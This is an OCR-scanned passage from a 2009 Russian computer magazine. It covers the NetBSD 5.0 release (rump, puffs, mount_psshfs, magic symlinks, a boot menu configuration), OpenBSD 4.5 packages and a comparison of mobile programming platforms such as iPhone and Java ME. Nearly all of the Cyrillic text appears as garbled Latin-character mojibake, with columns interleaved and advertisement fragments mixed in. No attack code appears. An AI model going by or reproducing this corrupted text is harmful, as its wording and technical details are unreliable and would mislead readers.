l.1 B 6onbWIiIHCTS€ 3aAa4 nOK33blaaeT npol.13BO,ol.1 3HOHC
lq,aVll1oB3R Cl.1CTeMa Applel. HaKoHeu,,IJ,06asJ1€Ha
XAKEP
05 /1251
09
NETBSD nPEKPACHO lJYBCTBYET CESSl HA TOCTEPE .•. BblX CI-tCTeM ext 2,
pea1H13aL.J,I1~
KOropOi:1, KpOMe
npl-1,lJ,3er NetBSD 4eprbl HaCTO>lUJ,eL1 Ml-1KpO>l,D,ep
Toro, C63aSeJ1aCb nO.Q,Qep)f(KO~ 32·6VlTHbIX nonei:i
HO~ OC. HG iII,a,e>l, l1e)l(3U..\aR Bero OCHoee, 04eHb
uid/gid. CYl..L.leCTBeHHO yBeJII-1'-1eHCl np0V1380.o.V1
npocra. CaM q,peL1MBOpK npe,a,craBJ1>lerco6oii
msdosfs, CKOpOCTb 3anV1CI-t Ha KOTOpyto Tenepb MO::+::CT npol-lcxo,o,I1Tb.o.0 16 pa3 6blcTpee,
He '<TO l-1HOe, KaK BblHeCeHHbJH BnpOCTpaHcTBo
rellbHOCTb
VhiTerplllpOl3aHa KDMaH,D,a mounl_sysctlfs
181.
n0l1b30S3Tei1>l Ha60p BHyrpl-1>l,D,€PHblX q,YHKU,l-1v'. OH It1Cn0l1b3yeTC>l BbICOKoypOBHeSbIMl-1, He 3a
n03B0J1l'lIO\.l!,al'l npe,qcTa8I-1Tb,ll,epeBO nepeMeHHblx
Bl-1Cl-1MbIMl-1 OT annapaTHOv. nJ1aT~OpMbI ~aCTSlMl-1
sysctls BI1,Ae q,ai:1noBoi:1 CVlCTeMbJ. OC Hay"ll1
I<Apa .0.111< ,Qocryna KHl-13KoypOBHeSbIM. BMeCTe
naCb nL-IC<!Tb B
UDF, ,qJWl4ero 6blJ)v,J],o6aBJleHbl
crump S NetBSD SOWJ13 \.1 nporpaMM3 rump_nfs
COOTBeTC"1 BylOllIli1e Vl3MeHeHI'lfl B s:lAPO ill ABe
t8J. peal1l-13YIOUJ,8" KJ1i11eHT NFS BnpOCTpaHCTS€
HOBbleyno1J1l'lTbl; mmcformat 181l1! newts_ud! [8L
n0J1b30SaTeJ1Sl. 50J1ee TOro, 11106yfO ¢aYlJlOSYfO
Ko,ll q,ai1J10BO~ CI'1CTeMbl unionts Cl-1HXpOHI13I1pO BaH c FreeBSD. a nOA.Qep>KKa NONFSy.o.aneHa
Cl-1CTeMyTcncpb MOA<HO nepeKOMnvumposaTb
... H PA3nHlJHbiX BCTPAHBAEMblX YCTPOi1CTBAX
My JHo60Yl C.nO)KHOCT\.1 nOJ1HOCTblO B npOCTpaHCTse
AJ1>l pa50Tbi BHel<Apa.
n011b30S3T€l1R. BM€CTe C¢pe~MBopKOM TalOK€
ApyraSll-1HrepeCHal< HOS\.1HKa ~,Qpa - puffs
,Qo6aSJ1eHbl ¢aWJ10Bble CVlCTeMbl, \.1CnOflb3ylOll.i\.1e
BaeTcPpei1MBopK rump IRunnable Uscrspace
[Pass-to-Userspace Framework File Systeml
ero B03MO)l(HOCTVl:
Meta Programs!. n03Bom.IOLUI1L:13anycKarb 4acn1
¢pev.MBopK.l-1Cn0l1b3YfOUJ,l-1V. B03MO)+(HOCT\.1 rump
• mount_psshfs (81- 8\1pTyaflbHa~<p3v.J10Ba~
>lApa KaK nonb30aarellbCKl-1e npolleccbl. Rump
\.1 n03S0J11<1OU..\l-1L1 pea.nl-130SaTb ¢aL1.nosyfO CillCTe-
CVlCT€Ma p,JlI1 MOHT\.1p08aHVlI1 sftp-ceccVli1:
IH COCTaBa l'l,[l,pa.
Oco6oro BHI'lMaHI1l'l3acny>Kl-1
• mount_puffsportallBI - 3KcnepVlMeHT311bH3R
pea.n\.13aLJ,\1R portalfs B npocrp3HcTBe n0l1b30
saTe11l1:
CTOPOHHEE no BEiA30BOVI nOCTABKE NETBSD 5.0 ipf4.1.29 6IND9.5.0-P2 NTP4.2.4p6 OpenLDAP 2.4.11 OpenPAM 20071221 OpenSSHS.O OpenSSLcHamlloToT20080S09 Posrfix2.SA GNU GCC 4.1 cHarrrnOTQT20080831 XAKEP 05 11251 09
• mount_9p (8) - ¢tai1J10S3>l ClIlcreMa AI1~ MOH·
TVlpOei:lHV1R cj>ai1noBblx cep8V1coB 9P !npoTOKoll,
np\.1MeH\1eMbli1 Bpacnpe,L\eJleHHblX onepaLJ,\.10H
HblX CV1CTeM8X Plan9 V1lnfernol.
nosepx puffs c03.o,aHs o6epTK3 COBMeCTI-1
MOCTV1 CrUSE [File system in U5Erspace,
fus€C,f.netl. npvH-1ep nOAKnlO"eHIt1~
sttp-C€CC\.1V1 c nOM0UJ,blO mount_psshls:
mount-psshfs -0 Compression=yes
vasya@host,com:!usr!mnt
B RAPO V1MnOpT>1pOSaHbl nepepa60TaHHbie C\1CTeMbJ 6J10K\.1P080K. peaJ1V1308aHHble S seTKax newl.ock2 \.1 vmlocking2, a TaK>Ke naT4 AJl>l6.no·
~
087
~ ~
"" Kl1pOBK~ COKeTOB. V13MeHeHvHo no,qSeprCfl 10\ Ko.o.5115JHlOTeKV1
.. . . - - - - -
.
tibpthread. 8 K,OTOpylO 6b11l0
",
06HOBn€H,o,0 sepcI1113.3,Ao6aSI1€Ha nOAQep.>KKa
• dkscan_bsdlabel - Y1HcTpyMeH'I'
apXlIlT€r<TYPbl amd64ldomO 11 domU] 11 pacwl1
~Ml nOJ.1CKa
Ao6aeneHO HeCKOJlbKO YIlY'-lWeHI>1~ B o5J1acn-t
peHlt1R i386 PAE,D,IlR domU. Vl3 C006pa.>KeHlt1i1
«880 disk.label» HD. JJ:VlCKe.
Cl-1HXpOHI13aL\l-111 nOTOK08. MO,lleJlb nOTOl<08
SA 3a 1:1. Ko,q peaJl1133l..\lt1l1 malLoc33MeHeH Ha jemaUoc 1-13 FreeBSD. Onn1MI13lt1pOeaHHbli:!
6e30naCHOCH1 y.oalleH Mexa~I~3M systrace.
nepepa60TKe III MO.Qepl-llt13au,1111 TanKe lloJJ.Bepr
MeHeHa Ha
s:l.n.pOTenepb el.l.(€ 6onbweCOBMeCTVlMO CPDSIX
J1 I1Cb CYlllecTByKlUJ,l1e yrlt1Jl1tlTbl:
.QIlfl MHorOHlIITeBblX npltlJ10>KeHltlL71. V1HTerpl-1pOeaH
KaK: PDSIXReal-time, Asynchronous I/O lt1 POSIX
MOAYJ1bHbl~ nllaHliIp08ll.\VlK SCHED_M2. KOTOpbli1
message queues. nceB,D,o,D,paiilBep fastjpsec
nOKa3blsaeT BblCOKYIO np0lt13 BOAI.1TeflbHOCTb
06Y411l.nlt1 pa60T€ CT€XHOllOfl-1eL'ii IPSec NAT-T, KOA
• config
H<J "moronpoueccopHblX CI-1CTeMaX, nO,D,Aep)l(l-1sa
6p31-lAMay3ptJ pf (4) CI1HXpOHI13lt1pOBaH c OpenBSD
rypalV'\"oJiHl:6! ¢>afm LUff D.1lfI
eTltICnOflHeHl1e np0l..\eCCOB 8 peaJ)bHOM epeMeHl1
4.2. nORSIo1JlaCb nOMep>KKa «ipv6 fast forward".
'-L') .
11 nOAQep>KI1BaeTTaKI1€ paCUJlilpeHlo1R CTaHAapTa
141
• amd Tenepb yMee"X 3ar.paDrIo1SaTb Kap'l'hL (am:1maps) ycepaepa LDAP. Ha.PI11J1Cfl reHep11pOlXlTb K0HsfYl.
(1lJlar
fI.q:;ta
VI n03BonSleT Bbl6HpaTb anroplllTM nJ1aHlt1p08aHl1~.
BTOPO~ CTa,ll,l1eL'ii
He OCTaHaSJlI1SaSl Cl-1(TeMY_ Tenepb NetBSD
J151Tb 4epe3 KOHq>IMypau,lIloHHbli1q>SL:1Jl booLcfg
r013
60flee MacwTa61-1pyeMa lt1 nOKa3blsaeT 3aMeT
181. nplo1Mep KOToporo nplt1Se,ll,eH Hlt1>Ke:
iPJ1ilr 'J' B KOH<:p01'YpaL'1IIOHHOM etJai1
Hbli1 npYlpOCT npol-13BOAl-1TCllbHOCH1 Ha
MP
Cl-1CTeMax. 501lbWl-1M lt13MeHeHltlSlM nOABeprcl1 KO,l:i
11
3arpy3Klo1 Tenepb MO.>KI-lO ynpa8
COBMeCTI1MOCn1 c Linux feompaUinux 18)
compaUinux32L 1'13 FreeBSO ~Mnopn1pOSal-l
KOA nOMep>KK~ TLS, Ao6asJleHbl Clo1CTeMl-lble
• ne·...' syslog COlllMeT iPai1JJb! 110
c nOMOrr{hlO bzip2.
ne/ctc/newsyslog. conf. menu=Boot normally: boot netbsd
• bioctl cyw:ecTBeHHo
menu=Boot single user: boot netbsd-s
YI Tenepb
yMeeT
menu=Disable Acpr: boot netbsd -2
""hoc-spare»,
menu=Disable ACPI and SMP: boot
M
RATD-ToMa.
W1C1G1
netbsd -12
ea'l:'b npOBepKYI Ha
menu=Drop to boot prompt: prompt default=1 timeout=5
..aaHHblX
HblX Sbl30S0B ceMei1CTsa chown. 06HOBJl€Ha nOAAep>KKa IPC, Ao6asneHa nOMep>KKa osssudio [31. Blo1pryaJlbl-lS51 epai111osa" ClIlCTeMa prods
corniS\COUaHHOCTb
TOMaX.
patch l1MnopTl-rpOBaH
sdiff
1'1:3
DragonFly.
/o1M.:lOpTl1poaaH 113
OpenBSD.
xargs MMfl09Tv.pOBaH 113
FreeBSD.
B 6a30Boe oKpy::t:eHlile NetBSO 6b1JlI1A06aBJ1eHbl:
B 6a3csylO flOCTaSKY 6bl11Y, SKJl104eHbi httpd
Tenepb3KCnopTt-lpyeT /proclstat. /pmc/loadavg • YTWllTllTbI
npOCTOI1 HTTP-cepBep, Hanl1CaHHbli1
3MYJl>1l.\t-l1ll32-6I-1THO~ NetBSD kompsl_netbsd32
TIl
lt1dhcpcd4.0.11
18)), y,o,a.neHa nOAAep:+::K3 3MYI1~LJ,\I1l1l HP-UX
,U,JlJ'l
[compaChpuxL KOApeaJH13aLJ,lIlt-l «Man14ec
B
KlAX ClIlMSOl1l1l,<eCKt-lX (CI>I110K». n03S011RI01lIl.1i1
• YTHJlTI!Ta acpitools, Tl!MnOpTl-1pOBaH
C~MllV1HKaM
Han: 113
\11
/proc!<pid>/statm. 061-l0SJleHa nO,QAep:+::Ka
«puss-through»
3anycxaTb/OCT3Hasl1M
Bbl30Bbl getdgid, old_uname. readdir, pread,
B
nepepa6oTaH8
C03JJ.ae8Tb/y,o,an.ltTb
pwrite, mlock, munlock, msync, sys_clock {gel res, gettime, settime} 101 HeCKonbKO Clo1CT€M~
eCJlYI. YK33aTb
YKa3blsaTb Ha pa3Hbie 4>a~Jlbl
audit-packages do;,mload-vulnerability-list nOMCKa M3BeCTHblX y513BMMOCTei1:
yCTaHOBJleHHblX naKeTax.
FreeBSD.
B3aSlIlClllMOCTlIl OT 3HSyeHlIll1 O,ll,H0i1l1lJ1l.'1 He
• c99 - Bparmep.
CKOI1bKlIlX cneu,l1aI1bHbIX nepeMeHl-!bIX, 06HoBlleH
Me COBMeCTI-1MOCTV.
lt1 nOMep>KI1SaeT nepeMeHHylO 0ruid. KOTopafl
• tpro£ -
pacKpblsaeTcSl B «HacTO~UJ,l1i11» UIO npoL\ecca.
BaHHG/J1
B peHl.l1
CO CTaHp;apTOM e99.
npOCTOH
npoq,awnep,
OCHO
Ha l1,[lee MOHViTOpl1Hra npOM3BO
3Ta B03MO)KHOCTb lIlcllollb3yeTcSI AJl51 C03,o,aH~R
,IH1Te JlbHOCTM.
• schedctl - npOrpaMM<3, npe.n.Ha3H<3
Jl~ {OIlLJ,l-1R «per_user_lmp=yes» B/etc/rc.confl.
'-i8HHaR.unH
Me4€HHOIil u,e.nlt1 - elll€ O.QHa npI1SJleKSTe.nb j./al1 "'lepTa «(anbTepHdTlIlBHblX» BSD. H I1l<aKO~ nOrOHI13a
HCBosBe,o,eHlt1~Ml<1l1l
:+::eJlaHI1R ypBaTb
KYCKI'1 cpa3Y scex S03MO.>KHbIX pbIHKOB_ npoeKTbl OpenBSC l.1 NetBSO Y>l<e ,Qasi-lo
ynpa8neHI1F. nJl3HMpOBallweM
nepeWlll<1 4€PTy 3peJlblX, nonHOCTblO rOTOSblX Kl<\CnOflb30saHlIllO n pO,D,yKTOB. l<1 Cel1l.ldC lt1f.i€T npo14eCC nJ1aHOM€pHoro pa3SI1TI1R 11 nplllcno
MarW-leCKlt1e Clt1MJ1I1HKI1 - AOSOllbHO npocToi1,
npoueCCOB
1'1:
HO nOJl€3HblL'ii MexaH1Il3M, KOTOpbllil n03S011l'leT
• psrset -
YTJ1nJo'ITa ,Qn.l'l ynpaBneHJ.151
c.oeJlaTb. HanpW>lep, TaK [Ha MaWIo1H€ x86 -/bin
rpynnaMJ.1
nOTOKOB.
npoueccopoB. • cpuctl - n03BOJHteT nerKO 8/(1110
'-i}jTh/OTKlID~Jl1Th
;:; H1WE EAEWb AAJlbWE 6YAEWb PS3MepeHHoe, H€lOPOflJ1101 BOe ,D,Bl<1.>K:eHMe KHa
3anyCKa~ CC
1Il3011l-1posaHHoro /tmpAM Ka.>K,D,OrO nOllb30saTe
6YA€TYKa3bIBaTb Ha -/bin-i3861:
HOI CV1,
HyJt:HblM npou;eccop.
C06neHl<1R KMeHHlOllIeMycI'I PblHKY IT CJl€.>K:€ HVle 3a pa3pa6oTK0l13TViX DC CpO,1J,HIo1 yreHl<11O Ma Hrpbl, KOTOpa51 ycnOKa"lsaeT l-1 HasO,D,l--1T Ha npaBl--1J1bHbl€ MblCnlt1, X
it sysctl vfs.generic.magiclinks=l
$ 1n -s/home/v3sya/bin-@ machine/home/vasya/bln
06HosneH CTel< bluetooth ~ COIlYTCTBYIOl.l.(I1€ YTI1 Jll4Tbl. B l'I,!!,po Ao6aBJleH .opai1sepAllR Bluetooth
I
HCI UART, Hanl.1CaHHbllil c Orl151,D,KO~ H3 Linux Apa~Bepa BlueZ lt1 n03B0I151101lIlt1L:1 nepeCblI1aTb
naKeTbl '-lepe3 nOCne,[lOBaT€JlbHbliil nopr..o.o 6aB11€Hbl AeMOH btuartd (8), KOTopbliil ynpaBJll1€T pa6OToVo,l\paiilsepa. bpand
laJ. ynpaBJl~IOUJ,l-1ii1
B OpenBSD 4.51113 HA60PA nPEKOMnllllll11POBAHHblX nAKETOBAll~nllAT~OPM
i386/amd64 CTOlliT BbiAElll11Tb:
npcq>VlJl51MVl PAN IBluetooth PersonalArea Networking)lIl btkey (1) ~ nporpsMMa ,[1111'1 pa6o
Gnome 2.24.3
Tbl c KlllOyaMlIl COeAlt1H€Hlt1i1. YTlo1nt-lTa ilconfig (81
KDE 3.5.10 X(ce 4.4.3
no KQMaH,IJ,€ «list scan»Tenepb Bbl,[laI?TCnlt1COK ,[IOCRraeMblX TOY€K ,ll,ocryna.
OpenOffice.org 2.4.2
v13.t:1pyrlolx l.13MeHeHl-1l7i oHyrpl151Apa MQ)t:;;HQ
Open Arena 0.8.1
OTMeTlt1Tb pa60TYHa KOHCOJlIo1 MicrosoftXbox,
nOAAep)t:;;Ky DRM IDirect Rendering Manager),
Mozilla Firefox 3.0.6 Mozi lla Thunderbird 2.0.0.19
Heo6xOAlt1MylO,o,llR pa60Tbi 20- 1Il30-ycKOpeHlIlR
MySQL 5.0.77
S8l-1,QeO,D,pm1Bepax, noMep::t<KY PIE. nopr Ha Xen
PostgreSQL 8.3.6
~
088
H
3.0.1
XAKEP 05 /1251 09
nEPBblH B POCCHH 3nEKTPOHHblH )l()'PHAn 0 KOMnblOTEPHblX HrPAX
•
COAEP>KAHItE HOMEPAl
~'"
0I11fJd~:_
nll'J'1llU""""""'''''"'''''t'''/.<lI'~ _ s...m Clo..,.
::(Jo,.... "..,npowooi<~..
Com __ .& ecn.r. I\edAleo1.31..\>riSinu _TheEnDtI'*II~
.~;;""".,.,1f:"'"
'--
1""",smu1a1Oo'2OO9;
WorlcIiluIcler&litior>
OIiPATM BHMMAHliEl
il'A_Ie""
6YP".rn<3l1(l
-
•
'I¥orld.,D::dIietSovle<""",,,
1b<"'" ... ""1'~
"'"
o~
..
~Shib,
a< 1lnew-_ "'w:.«:o3l1 J1tIeo"'"'" 0u'Ig80ns & D'.gons
"PO''''
TomCW>c1.K.....WX
T""l.. tRI"""'r~
ONno:SIo<mr<IoocI>
W:<1d
"""",,",_o:owm.oorero .~(W.IEll·Aa::m
OHnAiiH ~.
T"" ""1St.",; _t\lUe_w-'rt'W1 ,'.4otocJp« "fI'O.'-'ll_"
PEIlEH3MII
I>omoComS11
IMOlAlO"I
~f'I:To;QI\""'.
Pl:1l£H3M1I
_~_"ll
Mioo'""'IllCf1'lan1;r(Jric:s
T_ _..
__ -
lIlOlEc.AMU *"",DT"-.o._,
"';m:TheT_olE!errVty _ ...
""'~
Xe"'l~""",'O>IIOC'"
T=-•• ..".,.""'~
,~
_ _ ii
c.ne.... -~"".. .~
Ooiko"",.
CfWl"a' "",,,"A><oo.a I'oMol>c> Plaiin<c!
P"",,,,,,,• •,,..
_
i"Confli(;~
$<).,,01 .........1
W't!;nmen: l'rolEnd'IlNillh !lI<Hl\H_~"
....
C<>r""""'C&Co<>Qo,.er:AtcI~Of1
3Uplisi<1g
TPEMll&Pbl WdI"",t.., loIodernW"f_2
TomC>arq'.IU.-WJ(.
..-
NeedF<>r~;~
-"3"ThoPll
0i1lT2
fdool3.~:~
OCOOO.,.....,..,<Opy..... c,\,.ll'olSoo Kpoc...... "'eu2 1C"II-.lloI."ll'fnp""U""eal
-
a.nief~;1ladC<>:npany2
Btlrr.ar"AMownAsyUn
" .""""
M~MTE B npQAA>KE
C7 MASI
. JIlt'IT'w 1 2 .
.
---
!i.ea~1 :• ,.
,
EcnM ClKATb CAMYIO BAlKHYIO MH<l>OPMAI.IMIO 0& MrPAX
.'
~
~~-.
;i;.r~~
MOlKHO
nOnY~MTb
OTnM~Hblii lKYPHAn UPC MrPbl.ZIPll
'--~--------@
+
» coding
. -l---+
onEr npl-\!lIOK I AZANITOlilGMAIL.COM I
" ::::r:::::::::J +
++
KYAa nOAaTbCSI TenecIJoHHOMY KOAEPY?
nonHblH notA no M06lo1llbHb1M nllaTc:PopMaM Ami nporpaMMHcTa
-+
TOT cjJaKT, YTO 3apa6aTbi BaTb KocMoKpe,o,v1Tbl Ha KO,o,VlH ,e no,o, Mo6Vlnbi Hene,Ko, COMHeHVl~ He Bbl3blBaeT. VlMeHHO n03TOMY npo,paMMVlCTOB
,o,n51 Symbian, iPhone, BLackBerry, Windows MobiLe, Android Vl ,o,py,VlX Mo6VlnbHbix nnaTcjJopM nOYTeHHO 30ByT ,o,eBenonepaMVl. A Ko,,o,a 30ByT ++.J..
- o6ew,alOT MHO,O nnaTVlTb 3a xopowYIO pa6oTy. MO>KeT Vl Te6e nopa BnVlTbC51 B CTpo~Hble p51,o,bl BOVlHOB Mo6VlnbHo,o R&D?
.. +~
I· I I fe·
. I
... ~_.i+.,.+-~
_. t-
C03,1:l,aTe,11lO TblC51YI'I ,QonllapOB. Ho CTaH,I:l,apTHbl~cu,eHapV1~ TaKOB: 0 nepBblii
+
APPLE IPHONE
CnPAB,A
AeHb n05lBlleHV151 Ha rl1asHoi:1- 20-30 nOKynoK, 3aTe~ naAeHV1e SapXI'IB H 1-2 norynKl.1 S He,l:l,emo I'-lTO npl'lHOCVlTaslopyno O,l:l,HoMy-,I:l,Oa 6aKca ap,eHb l.1nH
V1cnollb3yeMbleSl3bIKl-\ Hl-\3KoypOBHeBoro npOrpaMMl.1pOaaHl-\S1: Objective C,
+ -'
+
C++
nplilMepHoe KQIlIo1t.leCTBO npoAaHHblxYCTPO~CTB:OKOIlO 15 MnH,
Y'-!aCTb nOCTHraCT 80% nporp3MM sAppStore.
AOflSl pblHKa CMapTl~OHoB: 16%
n03lATYl8Hblii MOMeHT3aKJlIO'laeTC51 B TOM, llTO CY1.4eCTByeTeAI'IHblii Mara31'1H,
KOIlW-IeCTBO BblnYU4eHHbiX MOAeneii TeneepoHoB: 2
t<OTopbllAyYt<e BCTpoeH 8 TeneepOH, 0 KOTOPOM nonb30saTel1l1)HaIOT. Ky.q3 noCTO
n03~n,BHEH bKO:
I'lHH03aXO)J,51TH __. nOKynalOT. nOl<:ynalOT, norynalOT. HI'I O,D.I'IH ,I:l,pyroiA np0I43BOp,V1
• YAo6Hbl~ SDK
TenbTenetlJOHOS HeCMOrnpl-1BVlTbnOKYnaTenl'lM cBoe06pa3l1blii peepneKc, 4TO
• E;J.lt1Hblafl Mara3l<1H nporpaMM c 60flbWl.1M KOI1W,jeCTBOM nOl(ynaTelle~
C04>T Hap,o 6paTb He Ha epopyMax, a 8 Mara3V!He. ,Qa)f(e OX041'1e AD X2fll'l Bbl )f(menvt
• He IlaAO 3a50TlonbCf1 0 C08Mecnil""ccTM C apXl-IBOM BblnYLl..\eHHoro)Kene3a
Hawel:1 npeKpacHoi1 crpaHbI. npep,CTaBbTece6e. CO¢T.AJl51 Symbian BopylOT, a
POHIBHEi"lb
~ ~
Hep,elllOl. Cra61-11lbHO, HO K3K-TO HeOyeHbnpvt6l>lnbHo. nO,l:l,06Ha51 He3aBV1,1:l,H3l'l
Afll'l iPhone - nOKynalOT.
• npI1Hll,lt1nl1aflbHafl HeB03MO)KHOCTb peam1308aTb MHOrL-le CPYHKl.\Vll-l4epe3
TaKa5lBCTC14CTeMa lJ,eHHocTei:1. ECfl\o1 rpaMoTHo no,o,oihvt KBonpocy V1 C03AaTb
04>lt1ll,l.1allbHbli1 SDK
nporpaMMY. KOTopYI03aXOT51T Kynl4Tb TbIC5I'"lvt nOJlb30eaTenei:1. TO MOXHO cpy6l.1Tb
• Heo5xoAV1MoCTbHMeTb KOMnblOTepApple V111H C MacOSX.D,fl~ycraHoBKH
IDE
• CflO>KHO npoiJ,aTb nporpaMMYAop0)l(e $5
onpe.o.ellCHHoe KOlll'l4eCTBO ,I:l,eHer. VlcnonwyeMbll1513bIK nOXO>l< Ha
CH, cpep,a pa3pa60TK\IIl.1 AOKyMeHTall,ltlS1- a
nop5lAKe. HallaTbonblTHoMYKOp,epy 6y.qeTJlerKO. CSO\o1X HlOaHC08XBaTaeT, HO CO¢T AJlI'l senHKOro l'1y)I(aCHOrO raweT3 1'13 Kynepl'lTHO He nl'lWeTTOllbKO neH\1
r01l08Hol:1 60nlll HeMHoro_ CaMOe rnaSHoe: He Ha,ll,O 6eCnOK0l.o1TbC51 OCOBMec
Bbli1..,lll'l 5e3,QapHbli1. KOMnaHl-11'l CYMena C03,Q<lTb rlll'lHue8bl~ TeneepOH. rmIHL(e
TI'IMOCTI'I co CTapbl~1'I sepcV151M \01 SDK VI onepau,lo1oHoK {nnaMeH Hbli:1 nplll8eT
Bbli:1 SDK, OTnOllV1pOeana Bce rpaMoTHblM nl'lapOM V1 np\1KpenHn3 KayeCTBeHHYIO
SymbianJ. Cpa3HowepCTHbiM )l(e,11e30M. pa3H:>IM\o1 pa3peWeHYI~Ml.o1 3KpaHoB 1'1
p,oKYMeHTall,l1lO (nop,po6Hee 053TOM Mbl nl'lC3nl1 Bp,eKa5pbcKoMII
Ml-1J11lV10HJMYI cnoco6oB B80JJ.aAaHHblx. V1MelOw,l'IeC5I.,a pblHKe,ll,Sa lepaKTl'1'lec
nporpaMMbl p,n51 iPhone npOp,aIOTC51nerm 1'1 6bICTpO,- Bna)J,E'J1bl.J,bl cBepKalO
KIo1, Op,vtH] Tene$oHa annapaTI-lo '-IYTbnl'l He Vl,ll,eHTvtYHbJ. noceMy - nporpaMMV1Tb
w,ei:1 Mo6l.1J1KV1 OnepaTI'IBHO V1 C3aSl'lAHOH nepvto,QI'IYHOCTbI03axoN1TBcneu,l'I
BblXOAIo1T peanbHO ncrlle.
aJlbHO ome,QeHHoe Mecro, HMeHyeMoe AppStore, V1 nOKYnalOTTaM CSe>KV1e vtrpbl
H
1
1'1 coq'll. OCHODHa51 yaCTb nOKYnaeMoro (T0V1fOT$0.99 p,o $4.99. 3TO,IWCT3T0<1HO
BEPA~KT
npoCTble nporpaMMbl Kop,epOB-nI06I'1Tene~ Vl!ll.1 ManeHbKHX KOMnaHIo1i:1, '-Iaao
B03MO>KHO, nyTbM061'l1lbHorop,eeenonepa V1MeGTCMbICJl Ha'f~HaTbI'!MeHHO C
BblnOflH51IOll\l-1e 1-2 ¢YHKlJ,l.1I'1. TaKoi1 COepTJlaCKOBO Ha3blBalOT iFart Is 60nbHOM
R6110'-lH0i:1 Mo6V1JlKItl. BonOllbKo, '-lTo6bl '-lero-Tc,Il,06V1TbC51, Ha,ll,oYMeTb4aCTo
nepeBO,l:l,a - «51nyK») nporpaMMbl, KoTopble nOCJle tvleJ1bK3Hl.151 Ha rJlaBHoi:1
vt MHoro.o.yMaTb, 0pl-1eHTV1pOSaTbC5I Ha nOJlb30BaTeJ151, YyBCTBOBaTbTpeHAbll'l
CTpaHV1LJ,e nonap,alOT Btop 100 \1111'1, ew,e ny" we, B top20, 3apa6aTbiBalOT csoeMy
,Il,BI'I>l<eHVl51 pblHKa. CMoreWb?
~
090
XAKEP 05 1125/ 09
» coding
+ 1. -1- ..;.
I
+"f
+T++-t
J
+.;.~
+-f-t +.j
+
JAVA ME CnPABKA
npaBAa, eUbOAYlH cyw,eCTB€HHbIM nnKlC O,[l,Ha>KJ],bl Hanl1CaHHYIO Java nporpaMMY OTHOCWTeJlbHO JlerKO 3AanTlllpOBaTb YI AJlI1 CBeiKeYlCn€4eHHbIX ceHcopHblX Nokia. WAJl" HaCTpO€HHbIX Ha 61113Hec BlackBerry, III)J,Jl$l 06bl4HbiX
l-'1cno.nb3yeMble fl3bll<III HIII3KoypoBHeBoro nporpaMMlllpoBaHlllfl:Java
ME
TenerpoHoB-3BOHIIIJlOK, WA0;+(€.o,JlR 4ero-TO COBC€M HOBoro, '-HO BblMAeTTOJlbKO
V1 Bce >Ke -
nplllMepHoe Ko.n1ll4eCTBO npoAaHHblxyCTpoLiiCTB: nOYTYI MV1JlnYlapp, TOJlbKO B
4epe3 roA.
2008 ro{j,y
pa60Tbi no 3,IJ,amaLJ,l-1111 rOTOBblX nporpaMMAJl>1 HCBbIXYCTPOMCTB.
KOJllll4ecTBO BblnYLlleHHbix MOAe.neLii TeJleepoHoB:
80% Bcex BblnYLlleHHblX 8
A>KaBa A)f(aBe p03Hb. OTCKlA3 III MHOra,IJ,OnOJlHIIITeJlbHOLii
Ho Bce np05JleMbi no Hanl-1CaHIIIKl coq-na Ka>KyrC\1 MenOYbKl no cpaBHeHI-1Kl
MYlpeTeJlerpOHOB
C TeM, KaK HenpoCTo yroBopYlTb nOJlb30BaTeJl" ero nOCTaBYlTb 11, TeM 6oJl€e,
n03IHHBHEHbKO·
Kynl-1Tb. BJlaAeJlbl\bl cMapT¢oHoB npeAn041-1TalOT HaTVlBHbl€ nporpaMMbl,
• COBMeeH1Ma c 60nbWYlHCTBOM Bblnyw,eHHbIXTeJlerpOHOB
a 60JlbWI1HCTBO (a6comoTHoe] BJlaAenbLJ,eB Tene¢oHoB l13HaTb He 3HalOT 0
• nerKa~ 8 OCSOeHYlVl
B03MO>KHOCTW yCT3HOBKIII ,[l,onOJlHYlTeJlbHOro CO¢T3. Te, KTO 311alOT -
• Cnel1l11aflYlCTbl BOCTpe6QBaHbi Ha pblHKe
nOA03peBaKlT. i,[l,e era 6paTb. IIInlll nonpocTY He >KenaKlT3Tl-1M 3aHI1MaTbC\1.
npOH1BHEHbKO, • He pa60TaeT Ha iPhone, Palm
Y1JlI1 He
L(eHTpafllll30BaHHoro 1I1 O¢l-1lJ,Y1aJlbHoro M3ra3VlHa Java-nporpaMM HeT, KaK He
OS Y16e3,IJ,OnOJlHYlTeJlbHOrO no -
Ha Window5
cyW,€CTBy€Ty BflaAeJlbLJ,eS TeJle¢OHOB C¢OpMlllpOB3HHOLii KynbTYpbl nOKynaTb
Mobile
Java-corpT.
• MHorc npo5Jl€M c COBM€CTI-1MOCTbKlI-1 nOM€piKI-1B3€MbIM ¢YHKLJ,1-10H3JlOM
Da, Java-nporlll co61-1paKlTCQ Ha p33Hoo5pa3Hbix ¢opYMax I1n YI caLiiTax
• nporpaMMbl CJlO)f(HO npOAaTb
BpoAe GetJar.com, HO ryAa XO,[l,\1TTOflbKO OTHOCI-1TeJlbHO npOABl-1HyTble nonb30BaTefllll IIIJlIII)f(e AeTlI1, >KeJlalOw,Y1e BblTI1HYTb M3KCIIIMyM 1-13 nOAapeH
,[I)f(3Ba Boo6w,e CTOYlTOCo6HQKOM -
3TO He onepaLJ,IIIOHHa>1 CI-1CT€Ma, npIIIB>133H
H8Q K KOHKP€THbIM npCYl3Bo,o.vn€Jl>'1M, a YHIIIBepCaJlbHa$'l nJl3TrpopM3. KOTOpyKl nOAiJ,epiKlIIBaKlT YyrbJlIII He Bce TeJlerpOHbl AOP0)f(€
$60-80 [iPhone He B CyeT, DH
HoLii 6IOA)f(€THOLii Tpy6Kl1, 4b11 LJ,eJlb -
IIIr'pbll-1 ApyrYle pa3BJleKaTeJlbHbie npo
rpaMMbl (nWlTlII KaK y iPhone, KCT3TIIIl. TOJlbKO €AI-1HYlL\bl rOTOBbl nJlaTYlTb 3a Java-nporpaMMbl. Java ME -
I
CKOpee, npepOraTYlBa 1-1 rp yaCTO -
CTCn1s3,[1>Ko6ca)
Horo COAepiK3HYltll. KOTopble npWCbIJl310TC>1 B 05MeH Ha
YHIIIBepCaJlbHOCTb III MHororpaHHOCTb nJl3T¢OpMbl Java ME C04eTaIOTC>1 C
Ha KOpOTH-H1 nJlaTHbtM HOMep.
SMS,
HeCKpOM
OmpaBJleHHOe
yHIIIBepCaJlbHOCTbKll-1l>iHororpaHHoCTblC caMoro \13bIKa: L1T06bl Hanl1CaTb '-1TO-TO TOJlK080e, Ha,o,O,[l,OCTaTo'-<HO HenJlOXO pa36111paTbCI1 B Bonpoce. Java-KOAYlHr
BEPAIilKT
